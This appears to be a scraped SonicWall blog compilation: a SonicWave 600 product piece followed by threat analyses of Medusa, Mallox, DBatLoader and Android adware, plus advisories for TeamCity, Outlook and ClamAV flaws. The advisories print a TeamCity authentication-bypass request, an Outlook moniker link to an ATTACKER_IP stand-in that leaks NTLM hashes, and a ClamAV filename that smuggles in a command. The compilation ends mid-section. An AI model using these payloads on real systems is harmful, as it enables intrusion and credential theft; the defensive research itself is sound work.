Integration is the Point: How SonicOS 7.1.1 Simplifies Management

At SonicWall, ease of use and flexibility are major drivers of innovation. And in the latest version of our operating system, SonicOS 7.1.1, we’ve made major strides toward this goal — including the ability to integrate Gen7 SonicWall firewalls with Wi-Fi 6 SonicWave APs.

What Sets the SonicWave 600 Series Apart?

Here are just a few benefits of the Wi-Fi 6-enabled SonicWave 600 Series:

  • Enjoy superior wireless performance with 802.11ax technology, including OFDMA, MU-MIMO, BSS coloring and bi-directional beamforming.
  • Gain longer battery life for devices with Target Wake Time (TWT).
  • Increase confidence and block advanced cyberattacks with WPA3 encryption and integrated with the award-winning Capture Advanced Threat Protection (ATP) sandbox service, patented Real-Time Deep Memory Inspection™ (RTDMI) and Reassembly-Free Deep Packet Inspection.
  • Integrate with Wireless Network Manager and WiFi Planner to optimally design and deploy a wireless network while managing and troubleshooting across networks of any size or region.
  • Enjoy Zero-Touch Deployment to easily register and onboard with the SonicExpress mobile app.

What the SonicWave 600 Series APs Can Do

Powered by Wi-Fi 6 technology, the SonicWall SonicWave 600 series access points provide always-on, always-secure connectivity for complex, multi-device environments. With support for IEEE 802.11a/b/g/n/ac standards, the SonicPoint/SonicWave series enables your organization for bandwidth-intensive mobile applications in high density environments without signal degradation.

The 600 Series includes three models: the SonicWave 621, SonicWave 641 and SonicWave 681, all of which are specially engineered to work with SonicWall security appliances to provide wireless access throughout your enterprise. Coupled with Wireless Network Manager, these wireless access points enable organizations to automatically secure wireless traffic while boosting performance and simplifying connectivity.

SonicWall’s SD-Branch: An Integrated Platform Revolutionizing Branch Connectivity

SonicWall Secure Software-Defined Branch (SD-Branch) improves user experience and secures connectivity at branch offices. This integrated solution combines SD-LAN, SD-WAN and security for distributed enterprises, allowing you to take advantage of cheaper connectivity between HQ and branches, safeguard BYOD and SaaS applications, and scale easily with the rise in mobile devices.

SonicWall Secure SD-Branch integrates next-generation firewalls, network access switches, secure Wi-Fi access points, endpoint security, cloud application security and single-pane-of-glass management. Here’s how it all works together:

 

Allowing SonicWave 600 Series Access Points (AP) to be managed by a SonicOS 7.1.1 NGFW involves only a few simple steps. There are two sets of configurations to be considered: one for the firewall and the other for the AP.  First, the firewall must be configured to provide a connection with the access point.

There are basic interface settings on the firewall for the connection, such as the name, zone, subnet mask and DHCP. After the AP is connected and enabled on the firewall, IT can fine-tune the AP configuration from the firewall. When that configuration is completed and the changes have been provisioned to the AP, the Service Set Identifier (SSID) is ready to be set up for the wireless network that is enabled by the access point.

Which SonicWave 600 Series Access Point Is Right for Your Environment?

The SonicWave 600 Series features high-performance Wi-Fi 6 indoor access points that deliver high-security wireless connectivity across complex environments.

SonicWave 621
The SonicWave 621 features four internal antennas, a dedicated security radio, 2×2 MU-MIMO, and 1 x 2.5GbE ethernet interface. The SonicWave 621 boasts the lowest total cost of ownership of the 600 Series APs.
Learn More

SonicWave 641
The SonicWave 641 is a high-performance Wi-Fi 6 indoor access point that delivers high-security wireless connectivity across complex environments. It features 4×4 MU-MIMO, 1 x 2.5GbE ethernet interface, eight internal antennas, and a dedicated security radio.
Learn More

SonicWave 681
The SonicWave 681 features 8×8 MU-MIMO, 1 x 5GbE ethernet interface, 12 internal antennas and a dedicated security radio. The SonicWave 681 is the most robust Wi-Fi 6 access point SonicWall sells.
Learn More

To follow a real-life deployment of the SonicWave 600 Series, check out this case study.

Medusa Ransomware Continues Attacks on US School Districts

Overview

The SonicWall Capture Labs threat research team has been tracking ransomware that has gained recent notoriety known as Medusa. Medusa surfaced as a Ransomware-as-a-Service (RaaS) platform in late 2022. The group behind Medusa predominantly propagates this malware through unpatched vulnerabilities and directs their attacks on various industry sectors such as technology, education, manufacturing, healthcare and retail. Most attacks have occurred in the United States, but other countries such as the U.K., France, Italy, Spain and India have been affected by this ransomware over the last year. The copy of Medusa we obtained was aimed at the Glendale Unified School District in California. It is reported that the attackers demanded $1M in Bitcoin for file retrieval and deletion of exfiltrated student data. Glendale is not the only school district to be targeted. Hinsdale School District in New Hampshire, and the Campbell County Schools in Kentucky are also reported to have been recently hit by Medusa ransomware.

Infection Cycle

As is typical with ransomware, files are immediately encrypted at runtime. They are marked with a .MEDUSA file extension. During encryption, a file named READ_ME_MEDUSA!!!.txt is dropped into the corresponding directories:

READ_ME_MEDUSA!!!.txt contains the following message:

We tried accessing the tOr link using tOr browser, but the site was not fully functional:

Running the malware normally yields no text output.  However, running it within our reverse engineering analysis engine allowed us to view its internal PowerShell script running in real-time as it performed various malicious operations:

Spying on API calls used by the malware during its operation allows us to inspect its behavior in real-time. There are 44 applications that it attempts to kill if running:

There are 184 services that it tries to stop. These include various antivirus services, databases, backup services, email servers etc.

It also stops shadow copies, using the vssadmin application:

We tried reaching out to the Proton Mail email address provided, but it was no longer active:

SonicWall Protections

SonicWall Capture Labs provides protection against this threat via the following signature:

  • GAV: Medusa.RSM_4(Trojan)

This threat is also detected by SonicWall Capture ATP w/RTDMI and the Capture Client endpoint solutions.

Android Adware Hidden Behind the Facade of Gaming Icons

Overview

The SonicWall Capture Labs Threat research team has regularly monitored hidden adware on Android. These misleading apps show ads and collect user data to make money from advertisements. They trick users into clicking on ads, earning revenue through both displays and clicks.

Recently, numerous instances of adware have been disguising themselves as well-known gaming apps, regardless of whether they are free or paid. This tactic aims to deceive users specifically during the installation process.

Figure 1: App icons used by malware

Infection Cycle

The critical permissions used in these apps are mentioned below:

  • INTERNET
  • SYSTEM_ALERT_WINDOW
  • FOREGROUND_SERVICE
  • RECEIVE_BOOT_COMPLETED
  • QUICKBOOT_POWERON
  • SCHEDULE_EXACT_ALARM

Figure 2: Icon of a genuine paid app used by malware

Once the user clicks on the app icon, it disappears from the app drawer. To view the installed app, information users need to go to “Settings -> App Option”.

Figure 3: Code to hide malicious app from the app drawer

It fetches the URL “hxxp://1downloadss0ftware[.]xyz/gogo/install” from the resource directory.

Figure 4: res directory info

The code below loads malicious URLs into a WebView and then continuously displays advertisements on the device.

Figure 5: URL loaded into WebView

The malicious app loads a URL to showcase various ads in the default browser. All these ads consistently line up in the same web browser.

Figure 6: Showing ads in the default browser

Figure 7: Lined-up ads

The “createScreenCaptureIntent” method is used to initiate the process of capturing the screen content of a device that is infected by the malware.

Figure 8: Screen capture

The code below is designed to respond to screen on and off events.

Figure 9: Checks Device Status

Using JSON, the malware collects device information

Figure 10: Collects device information

URLs

  • hxxp://1downloadss0ftware[.]xyz
  • hxxps://adsforapp1[.]com
  • hxxps://onetouch23[.]info

SonicWall Protections

SonicWall Capture Labs provides protection against this threat via the SonicWall Capture ATP w/RTDMI.

Indicators of Compromise (IOCs)

  • 6f24a2614dbbb4bcfd0422101ec9dbd8f2cc566500562a5191b24adf6b1cf7e0
  • 9ad72da43509fc05156f8ac8e2c107080e881ab9ec9e9bd6b97db4040bca380f
  • b02f787e204b5c4430ea7589e2bd5640feb503db5158aa9681baa1d4e8e60335
  • e363450bbb579e4398461e3a6f647378bdacfc856280f6ad3db2a6f628b57fcb
  • ed57a701ed3a80e9532f530e6b9b6a79560d44061a0032464109a273bc34d482
  • 1976fb538d0b7c063cd13df009b3b7923d6080ff0cbbc12a869185c11b97ba46
  • f339ea055ce21dd38585af98e85b61dd988ca75a932f20e177f4ba3d6c54d6aa
  • b09250f248f08dcfc1e5521988ae6a28aa12fd8119e35746d4f17bd0b27376bc
  • d62be270b176efcb2928ac84afcff127c0c5b5c8f6f149dca26c06df6a535dc2

JetBrains TeamCity Authentication Bypass Vulnerabilities

Overview

The SonicWall Capture Labs threat research team became aware of a couple of noteworthy vulnerabilities — an authentication bypass vulnerability and a path traversal vulnerability — in JetBrains TeamCity, assessed their impact and developed mitigation measures for them. TeamCity, a build management and continuous integration server, published an advisory on these vulnerabilities which affect versions before 2023.11.4. Considering the sizeable user base as well as the low attack complexity, TeamCity users are strongly encouraged to upgrade their instances to the latest versions with utmost priority.

CVE Details

Authentication Bypass Vulnerability

The authentication bypass vulnerability has been assigned the Common Vulnerabilities and Exposures (CVE) identifier CVE-2024-27198.

The CVSS score is 9.8 based on the metrics (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Path Traversal Vulnerability

The path traversal vulnerability has been assigned the Common Vulnerabilities and Exposures (CVE) identifier CVE-2024-27199.

The CVSS score is 7.3 based on the metrics (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L).

Technical Overview

CVE-2024-27198

This vulnerability allows threat actors to circumvent the authentication mechanism by sending a crafted request to the web server. The flaw is in the functionality of the jetbrains.buildServer.controllers.BaseController class of the web-openapi.jar library. As seen in the code shared by rapid7 in Figure 1, if a request is served by the handleRequestInternal method in the BaseController class and not redirected by issuing 302 status code, then it will lead to execution of the updateViewIfRequestHasJspParameter method.

Figure 1: handleRequestInternal method of BaseController class, source: rapid7

Another piece of code, as seen in Figure 2, defining the method updateViewIfRequestHasJspParameter reveals that the unauthenticated attacker needs to make sure that the modelAndView has a name and does not terminate with .jsp. Requesting a non-existent URI that generates a 404 response and renders a /404.html page would result in the variable isControllerRequestWithViewName becoming true and the method getJspFromRequest will be called.

Figure 2: updateViewIfRequestHasJspParameter method, source: rapid7

The method getJspFromRequest is the one that captured the imagination of the attackers as it allows them to render an arbitrary endpoint by specifying the value in a parameter named jsp, as seen in Figure 3. Although it does not only require the endpoints to terminate with .jsp but also makes sure that it does not contain the confined path /admin/, the parameters can be tricked to access the arbitrary endpoints by an unauthenticated threat actor which normally requires authentication. 

Figure 3: getJspFromRequest method, source: rapid7

CVE-2024-27199

This vulnerability allows the threat actors to gain unauthenticated access to a limited number of authenticated endpoints due to a path traversal issue present in some of the endpoints such as /res/, /update/ and /.well-known/acme-challenge/. The attacker can make use of those paths along with path traversal vectors to reach other restricted endpoints by circumventing the authentication checks.

Triggering the Vulnerability

CVE-2024-27198

Leveraging this authentication bypass vulnerability requires the attacker to meet the following requisites:

  1. Render a 404 response by requesting a non-existing path, for instance, /sw
  2. Set a value of jsp query parameter in the request to the desired path which requires authentication, for example, ?jsp=/app/rest/server
  3. Make sure the crafted URI terminates with .jsp. The path can be ended by appending an HTTP path parameter or a query string segment such as ;.jsp or ?.jsp

The example request would look like, http[:]//sw-test[.]local:8111/sw?jsp=/app/rest/server?.jsp

Accessing the authenticated endpoint /app/rest/server by exploiting this vulnerability is demonstrated in the video below.

CVE-2024-27199

Triggering this path traversal vulnerability requires the threat actor to send a crafted request utilizing the endpoints discussed in the overview section to reach number of pages that may expose sensitive information and/or let the attacker alter system configurations. For instance, the video illustrating the unauthenticated access to some of the endpoints /app/https/settings/certificateInfo and /admin/diagnostic.jsp is shown below.

 

Exploitation

CVE-2024-27198

Exploitation of this vulnerability yields the attacker a commanding position over a TeamCity server by adding a new admin user, as seen in the video below, and complete control over builds and projects hosted on the server which can open the door for them to execute a sophisticated supply chain attack.

CVE-2024-27199

Exploitation of this vulnerability yields the attacker sensitive information as well as the ability to modify some of the server configurations such as uploading a custom HTTPS certificate and specifying the listening port for the HTTPS service using a self-signed certificate.

This flaw can be exploited by nefarious attackers to execute either a denial-of-service (DoS) attack by modifying the HTTPS listening port or a man-in-the-middle (MITM) attack, since the attacker owns the private key of the modified certificate.

 

SonicWall Protections

To ensure SonicWall customers are prepared for any exploitation that may occur due to this vulnerability, the following signatures have been released:

CVE-2024-27198

  • IPS: 15969 and 15970

CVE-2024-27198

  • IPS: 15966, 15967 and 15968

Remediation Recommendations

Considering the severe consequences of this vulnerability as well as the reports of mass-generation of admin accounts using the exploit, users are strongly encouraged to upgrade their instances as published in the vendor advisory.

Relevant Links

New Marsilia Ransomware Downloader Found

Overview

This week, the SonicWall Capture Labs threat research team analyzed a sample of Marsilia malware, also known as Mallox. This is a multi-stage sample that, when functional, will have a first stage that enumerates system information and creates persistence. The second stage is then downloaded and will perform data extraction and encryption for ransomware purposes.

Technical Analysis

The sample is detected as a .NET binary protected with SmartAssembly, although the main parts of the files’ operations are still in plaintext.

Figure 1: Sample detection

Figure 2: Plaintext address in strings

Running de4dot to remove SmartAssembly changes very little in terms of function readability.

Figure 3: Before (red) and after (green) deobfuscation

During runtime, the malware will query the system volumes and install persistence using the following registry key:

‘HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate’ .

Language, locale, and security (WMI) registry keys are enumerated through as well as application logs for virtual environment strings. During testing, most keys were not on the target system. The application sets the threads in memory with write watch and enables debug mode to check for analysis tools. It can also sleep for extensive periods as an evasion technique.

Figure 4: Sample will enumerate through languages, locales

Figure 5: Using WMI to enumerate for system applications and devices

Figure 6: Time to sleep after sustained connection failure, in seconds

During testing, the sample bound itself to ports 49729 – 49970 and reached out to the following address:

  • https://transfer[.]sh/get/LCRJGyiNOh/Muyjskpj.mp4

A connection is established and the malware will attempt to connect constantly. At the time of writing, this page currently results in a 403/Not Found and does not download a payload.

Figure 7: Active connection established

Figure 8: Sample attempts a connection multiple times per second

Figure 9: Directly going to the page leads to a ‘Not Found’ page

However, when the sample is not running, the connection is actively refused. This indicates that the ‘Not Found’ page is likely activated and not an actual 403/Not Found page. OSINT research shows that the IP has been used with a variety of other malware families, including AgentTesla, XmRig, AveMaria and others.

SonicWall Protections

SonicWall Capture Labs provides protection against this threat via the following signature:

  • MalAgent.Marsilia

IOCs

  • 36ed94fb9f8ef3f5cbf8494ff6400d0be353ae7c223ed209bd85d466d1ba1ff7
  • http://transfer[.]sh/get/LCRJGyiNOh/Muyjskpj.mp4
  • http://163.5.169[.]28/cmt.exe
  • http://163.5.64[.]41/test.exe

Latest DBatLoader Uses Driver Module to Disable AV/EDR Software

Overview

Threat actors are continuously evolving their malware code to protect them against security defenses. SonicWall Capture Labs threat research team has observed that the latest variant of DBatLoader has included an old version of RogueKiller Antirootkit Driver which is used by the malware to terminate security software. The malware majorly delivers Remcos RAT, but is also known for delivering other malware. The malware is received inside an archive as an email attachment and is highly obfuscated, containing multiple layers of encryption data.

First Layer

The malware starts its execution with a call to the OpenURL API and, based on the return value, the malware initializes a string value which is used in the obfuscation code. The malware is full of obfuscated code which pretends to be an API hooking code but does not hook any API. Sometimes the obfuscated code fails by calling a Unicode argument expecting API with an ASCII value and sometimes it just modifies the API address in its own memory array. The malware also contains multiple concatenation, copy and move instructions before calling the fake API hooking module. The malware contains a GIF image which contains an encrypted second layer executable.

Figure 1: Obfuscation code

Not a True Image Steganography

In old variants, it was observed that the malware kept a GIF image in the resource data, but in the latest variant, the GIF file is kept in the file itself to avoid detection from the security software. The GIF image contains an encrypted next-layer executable which is not hidden in the pixel’s data but is actually in the additional bytes in the GIF image and does not alter the image’s visuals. The malware reads the GIF image bytes and searches for the delimiter string “< <” (0x3C 0x20 0x3C), to get a total of nine chunks of bytes separated by the delimiter.  The seventh chunk of bytes is the encrypted second-layer executable.

Figure 2: GIF Image

The decryption logic involves the addition of value 0x6B into the encrypted bytes to get the second layer executable.

Figure 3: Decryption logic in first layer executable

The malware allocates memory in the self process using the API ZwAllocateVirtualMemory to load the decrypted binary sections. The malware fixes the relocations, resolves imports and transfers control of the entry point of the second-layer executable.

Figure 4: Computes entrypoint

Second Layer

The malware starts by calling the timeSetEvent API to delay a callback function execution with 2710h milliseconds and additionally uses the argument constant TIME_ONESHOT for a one-time execution of the callback function which further continues the malicious execution. The malware checks the client’s internet status using the API InetIsOffline and, based on the return value, the malware initializes a string that is used in obfuscation code like the first layer executable.

The malware extracts the current executable name without the extension and appends “.png” to check its presence in the current directory. The checked PNG file is not available for the current variant, however, examining the code, the PNG file is expected to contain a list of URLs in plaintext. As the PNG file is not available, the malware reads the current executable file and searches for the “^^Nc” delimiter to retrieve the list of encrypted URLs and a key to decrypt URLs which is “202” in the current variants.

Figure 5: Delimiter to separate the URL list and key

The URL list is decrypted by adding the value 0x43 (202-0x10D) to the encrypted bytes. The decrypted URL list is separated by the delimiter “@^@”. The malware has structure to keep three URLs but in the current variant only one URL is available and other URLs are initialized with the values “Link2” and “Link3”.

Figure 6: First layer decryption used to decrypt URLs

The malware sequentially checks for an active URL using the API InternetCheckConnectionA from the decrypted list of URLs. Instead of using conventional APIs to download a file from a URL, the malware retrieved the COM library “winhttpcom.dll” CLSID for “WinHttp.WinHttpRequest.5.1” using the API CLSIDFromProgID and instantiates its object using the API CoCreateInstance.

Figure 7: COM library used for downloading data

Figure 8: URLs to download data

The malware now downloads data from the URL: “h[t][t]ps://nbtp1[.]sa[.]com/youtubedrivedocumentsuploadgoogledownloaduptowns/202_Pblednxqcpj” using APIs from the COM library “winhttpcom.dll”. It also checks for downloaded bytes size which should be more than 0x7530.

Figure 9: Downloaded encrypted data

Downloaded data contains multiple executable files associated with the malware along with configuration data and an additional malware payload executable which is Remcos RAT in the current variant. Before Base64 encoding, configuration data and other associated binary executables are two layers encrypted but the additional malware executable contains a total of five layers of encryption.

The first layer is decrypted using the same logic which was used to decrypt the list of URLs by adding 0x43 value into the encrypted data. The second layer decryption logic checks the encrypted byte if it is greater than 7F (0x21+0x5E) then the encrypted byte is added to 0x0E, divided by 0x5E and then added by 0x21 to get the decrypted byte:

Figure 10: Second layer decryption

The decrypted data is separated by the delimiter “*()%@5YT!@#G__T@#$%^&*()__#@$#57$#!@” which contains the following information:

  • Decryption key for the additional malware
  • File name used for persistence entry
  • Encrypted additional malware (Remcos RAT)
  • Configuration Data
  • Old version of Exchange ActiveSync Invoker (easinvoker.exe) vulnerable to DLL hijacking
  • Malicious netutils.dll for privileged execution
  • Old version of RogueKiller Antirootkit Driver (truesight.sys) to terminate security software

Figure 11: Downloaded decrypted data

Persistence

The malware drops a self-copy into “C:\Users\Public\Libraries\Pblednxq.PIF” and creates a Windows Shortcut File (LNK) file “C:\Users\Public\Pblednxq.url” which tries to execute the dropped self-copy of the malware.

Figure 12: Windows shortcut file

The malware creates the registry entry “SOFTWARE\\Microsoft\\Windows\\CurrentVersion\Run\Pblednxq” for the current user and sets the value to the dropped LNK file path:

Figure 13: Persistence entry

Privilege Escalation

The malware drops easinvoker.exe, netutils.dll and truesignt.sys from the downloaded data into the directory “C:\Users\Public\Libraries”. The old version of Exchange ActiveSync Invoker (easinvoker.exe) is vulnerable to relative path DLL hijacking which loads malicious netutils.dll from the current directory on execution. The old version of RogueKiller Antirootkit Driver (truesight.sys) is a kernel driver file that terminates protected processes associated with the provided process ID. The malware also drops two batch files PblednxqO.bat and KDECO.bat into “C:\Users\Public\Libraries” and executes “PblednxqO.bat” using the API WinExec.

Figure 14: Obfuscated PblednxqO.bat

After de-obfuscating the batch file “PblednxqO.bat”, it becomes legible. The batch script creates the directory “C:\Windows ” which contains additional space to take advantage of mocking a trusted directory method for privilege escalation. The malware copies the files easinvoker.exe, netutils.dll and KDECO.bat from the directory “C:\Users\Public\Libraries” to directory “C:\Windows \System32” and starts privileged mode execution for the easinvoker.exe process.

Figure 15: Simplified PblednxqO.bat

The malware now deletes used files that are no longer needed from the “C:\Users\Public\Libraries” and “C:\Windows \System32” directories, leaving files that are being used for persistence and further execution.

Figure 16: Deleting used files

The batch script has already executed the easinvoker.exe process and the malware also executes the easinvoker.exe using the API WinExec as a backup plan which loads malicious netutils.dll.

Figure 17: Starts easinvoker.exe

EDR Evasion

DLLMain function in “netutils.dll” contains a fake API hooking obfuscation which invokes the API LoadLibraryW using the filename “Amsi” as an ASCII string. The LoadLibraryW API expects the Unicode string as an argument and is provided with an ASCII string which causes failure of the API. The code intended for API hooking is never executed.

Figure 18: Fake API hooking obfuscation

The malware executes “C:\Windows \System32\KDECO.bat” using the API WinExec which is obfuscated similarly as “PblednxqO.bat”.

Figure 19: Executes KDECO.bat

After obfuscating, the batch script becomes legible. The batch script executes a PowerShell cmdlet to exclude the directory “C:\Users” from Windows Defender’s scanning. The batch script also registers and starts “C:\Users\Public\Libraries\truesight.sys” as a kernel mode driver.

Figure 20: Simplified KDECO.bat

The malware contains list of 49 security software processes which are checked against the running processes to retrieve the process ID.

Figure 21: 49 security processes

The retrieved process ID is sent to the driver component which terminates the associated running process.

Figure 22: Sends process ID to the kernel driver

TrueSight RogueKiller Antirootkit Driver

The driver component truesight.sys file with version 3.3.0 used by the malware belongs to RogueKiller AntiMalware software by Adlice Software. The kernel driver terminates protected processes associated with the process ID sent by the netutils.dll binary. Truesight.sys version 3.4 is fixed to avoid killing protected processes.

Process Injection

Even after two layers of decryption for the downloaded data, the Remcos RAT payload executable is still encrypted. For the next layer of decryption, the malware retrieves key bytes from the downloaded data. The decryption involves XOR operations with encrypted byte, encrypted bytes size, key byte and key bytes size to get the next level of decrypted bytes which are then reversed.  The reversed bytes are decrypted using the same decryption logic, which was used to decrypt the downloaded data to finally get the Remcos RAT executable.

Figure 23: third layer decryption used to decrypt payload

The malware has a list of file names to inject the final payload executable. The malware selects one file from the list and checks its presence in “c:\windows\system32” to start the process. If the file is not found, then the malware has a backup file name “iexpress.exe” to start as a process.

  • SndVol.exe
  • colorcpl.exe
  • wusa.exe

Figure 24: List of processes to inject payload

The malware starts the process “C:\Windows\System32\colorcpl.exe” for the current execution and enumerates the running processes using APIs CreateToolhelp32Snapshot, Process32First and Process32Next to get the handle for the process name “colorcpl.exe”.

Figure 25: Executes colorcpl.exe

Figure 26: Enumerates running processes to get colorcpl.exe

The malware loads the decrypted Remcos RAT executable into the memory and writes the memory into “colorcpl.exe” using the API NtWriteVirtualMemory. It then starts a thread at the entry point using the API RtlCreateUserThread.

Figure 27: Write process memory

Figure 28: Starts thread in injected process

Microsoft Outlook Remote Code Execution Vulnerability

Overview

SonicWall Capture Labs Threat Research Team became aware of the MonikerLink Remote Code Execution vulnerability (CVE-2024-21413) in Microsoft Outlook, assessed its impact and developed mitigation measures for the vulnerability.

Microsoft Outlook is a globally acclaimed personal information management software from Microsoft. A MonikerLink vulnerability was observed in the Microsoft Outlook email client. The flaw arises in how Outlook handles specific hyperlinks, allowing remote attackers to execute arbitrary code on the victim’s system. Threat actors can bypass Outlook’s security protocols by manipulating the URL linked with the hyperlink, leading it to take control of the victim’s system or gain unauthorized access.

Product Versions Impacted

A list of all impacted product versions:

  • Microsoft Office 2016 (64-bit edition)
  • Microsoft Office 2016 (32-bit edition)
  • Microsoft Office LTSC 2021 for 32-bit editions
  • Microsoft Office LTSC 2021 for 64-bit editions
  • Microsoft 365 Apps for Enterprise for 64-bit Systems
  • Microsoft 365 Apps for Enterprise for 32-bit Systems
  • Microsoft Office 2019 for 64-bit editions
  • Microsoft Office 2019 for 32-bit editions

CVE Details

This vulnerability has been assigned the Common Vulnerabilities and Exposures (CVE) identifier CVE-2024-21413.

The CVSS score is 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), based on the following metrics:

  • Attack vector is network.
  • Attack complexity is low.
  • Privileges required is none.
  • User interaction is none.
  • Scope is unchanged.
  • Impact of this vulnerability on data confidentiality is high.
  • Impact of this vulnerability on data integrity is high.
  • Impact of this vulnerability on data availability is high.

Technical Overview

This vulnerability, dubbed as the “MonikerLink bug,” misuses the Component Object Model (COM) of Windows, leading to a local New Technology LAN Manager (NTLM) credential leak and the possibility of remote code execution. The threat actors can leverage CVE-2024-21413 to execute the arbitrary code by circumventing the security protocols of the email client. Security measures such as DKIM (DomainKeys Identified Mail), DMARC (Domain-based message authentication, Reporting and Conformance) and SPF (Sender Policy Framework) that are designed to eradicate issues like spoofing, forged addresses and more are part of SMTP authentication. This flaw uses SMTP authentication to ensure the bypassing and circumvention of email security mechanisms.

Microsoft Outlook can parse hyperlinks such as HTTP/HTTPS. Furthermore, Outlook does have its own security mechanisms, like “Protected View” and “Preview Pane” while handling emails specifically with attachments or hyperlinks. With its security features, it either displays a warning message or prompt with a security warning when applications other than HTTP/HTTPS are triggered as shown in Figure 1.

 

Figure 1: Outlook’s Protected View Security Warning

The “Protected View” feature usually blocks macros and is more prompted when the emails are from outside an organization.

Basically, Moniker is a COM object that is used to create instances or other objects. It can be implemented as an object or link one document to another when using various COM-based functions. When using a common protocol file:// moniker link into a hyperlink, the user can instruct Outlook to access a file over the network, wherein SMB protocol will be used involving local NTLM authentication.

<p><a href=”file://ATTACKER_IP/test”>CVE-2024-21413</a></p>

A simple tweak like using a special character such as “!” and additional text in the above moniker link leads to triggering this vulnerability.

Triggering the Vulnerability

Triggering this NTLM leak vulnerability in Microsoft Outlook requires a specially crafted Moniker Link to bypass Outlook’s Protected View. CVE-2024-21413 exploits the MkParseDisplayName API, a function that parses a human-readable name into a moniker that can be used to identify a link source. The moniker can be as simple as file:// moniker.  The vulnerability can be triggered by modifying the hyperlink with the “!” special character and additional text in the Moniker Link below:

<p><a href=”file://ATTACKER_IP/test!exploit”>CVE-2024-21413</a></p>

This bypasses Outlook’s Protected View and leads to an authentication attempt via SMB protocol, sending the victim’s Windows netNTLMv2 hash to the attacker. This event of 1-click RCE is demonstrated in Figure 2.

Figure 2: One-click RCE

Exploitation

While exploiting this vulnerability, the crucial part is the click by the victim on the malicious hyperlink sent over email. There has been a PoC update that doesn’t require user interaction at all to exploit this vulnerability making it a 0-click NTLM leak.

In the demonstration part, Outlook does prompt a warning box, but it is not much of the issue part.

Figure 3: Outlook Tested Version

The exploit demonstrated in Figure 2 follows a series of steps in a fraction of time:

  • A script that sends a malicious email to the victim’s email client through the attacker’s email client.
  • Setting up an SMB listener and running the PoC
  • Victims click on the specially crafted link received over email.
  • Capture the hash and login of the victim (without the warning prompt on the affected Outlook version)

SonicWall Protections

To ensure SonicWall customers are prepared for any exploitation that may occur due to this vulnerability, the following signature has been released:

  • IPS:4305 Microsoft Outlook MONIKERLINK Security Feature Bypass
  • IPS:4307 Microsoft Outlook MONIKERLINK Security Feature Bypass 2

Remediation Recommendations

Considering the severe consequences of this vulnerability, the users of affected products are strongly encouraged to apply the patches as published in the vendor advisory.

Relevant Links

ClamAV ClamD Service

SonicWall Capture Labs Threat Research Team became aware of the ClamAV VirusEvent command injection vulnerability (CVE-2024-20328), assessed its impact, and developed mitigation measures for the vulnerability.

ClamAV is a notable, open-source anti-virus engine, widely recognized for its comprehensive suite of security solutions. It offers an array of features, including web and email scanning capabilities, endpoint security, a multi-threaded daemon, command line scanning tools, and an automatic database update service. The software boasts extensive support for various file formats, including zip, PE, rar, dmg, tar, GZIP, Bzip2, OLE2, MS Office and pdf, among others. This broad compatibility ensures that ClamAV can effectively scan and detect potential threats across a wide range of documents and files, providing robust protection against malware and viruses.

Recently, a significant security concern has emerged with the discovery of a command injection vulnerability within ClamAV. This flaw arises from the software’s mishandling of input intended for the generation of command strings. By exploiting this vulnerability, a remote attacker can orchestrate an attack by dispatching a malicious file or email to a system protected by ClamAV. If the tainted content is scanned by the compromised software, the attacker could achieve arbitrary code execution, operating under the privileges of the user running the “clamd” service. This exposes the affected systems to potential unauthorized access and control, underlining the critical need for immediate remediation and updates to safeguard against such vulnerabilities.

Product Versions Impacted

  • ClamAV 0.104 (all minor updates)
  • ClamAV 0.105 (all minor updates)
  • ClamAV 1.0.0 through 1.0.4 (LTS)
  • ClamAV 1.1 (all minor updates)
  • ClamAV 1.2.0
  • ClamAV 1.2.1

CVE Details

This security issue has been formally acknowledged and indexed in the Common Vulnerabilities and Exposures (CVE) system as CVE-2024-20328.

Due to its association with significant vulnerabilities in ClamAV, CVE-2024-20328 was given an overall CVSS score of 7.2 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L/E:U/RL:O/RC:C), indicating a high level of severity. This score is derived from a base score of 8.3, reflecting the vulnerability’s critical aspects and its implications for security. The detailed metrics reveal that the attack vector is via network, allowing potential exploitation from remote locations. The low attack complexity indicates that attackers can exploit the vulnerability with minimal effort, without requiring any privileges or user interaction, thereby widening the scope of potential attackers. The change in scope signifies that the impact of the vulnerability extends beyond the initially compromised component. Its impacts on data confidentiality, integrity and availability are all assessed as low, suggesting that while exploitation could compromise data or service, it does not lead to total loss or exposure of data.

The temporal score of 7.2 factors in the current status of the vulnerability’s exploit code maturity as unproven, indicating that there might not yet be any known exploits in the wild or that exploitation is not straightforward. The official fix at the remediation level points to the availability of patches or updates to mitigate the vulnerability, while the confirmed report confidence confirms the reliability of the reported vulnerability details.

Technical Overview

On January 2, 2024, a significant vulnerability was discovered within ClamAV, the widely utilized open-source antivirus engine. This vulnerability, arising from a command injection flaw in the VirusEvent feature of ClamAV, allows for the execution of arbitrary code on systems employing ClamAV for scanning purposes, particularly in environments like mail servers. The issue originates from the handling of crafted filenames, which, when scanned and identified as malicious by ClamAV, can trigger the execution of unauthorized commands on the system running the ClamAV daemon (clamd), all without necessitating any user interaction. This vulnerability thus presents a severe security risk, as it enables remote attackers to compromise the affected systems discreetly.

The core of the vulnerability lies in the VirusEvent feature’s functionality (See Figure 1), which is designed to execute a specified command upon the detection of a virus, using a format that incorporates placeholders for the virus name (“%v”) and the filename (“%f”). However, the critical oversight is the lack of sanitization for the filename input, permitting attackers to embed malicious commands within the filenames. These commands are then executed with the privileges of the user running clamd, as demonstrated in the clamd_others.c file’s virusaction function. This function, intended to facilitate the VirusEvent operation, constructs an environment where the PATH is set, along with variables for the filename and virus name, before dynamically building and executing a command string that includes the unsanitized filename, leading directly to the vulnerability.

Figure 1 – VirusEvent logic

Exploitation of this vulnerability can be illustrated through a configured VirusEvent in clamd.conf (See Figure 2), such as “echo VIRUS DETECTED: %v in the path %f >> /dev/stdout”. A specially crafted filename, like “# xmrig;whoami;”, can manipulate this feature to execute unintended commands, as seen in the execution output, where the command injection leads to the display of the virus detection message alongside the execution of the “whoami” command, revealing the system’s user context. This exploit underscores the imperative need for stringent input validation and the immediate application of security patches to address such vulnerabilities, safeguarding systems against potential remote attacks leveraging the ClamAV VirusEvent feature.

Figure 2 – clamd.conf entry

Triggering the Vulnerability

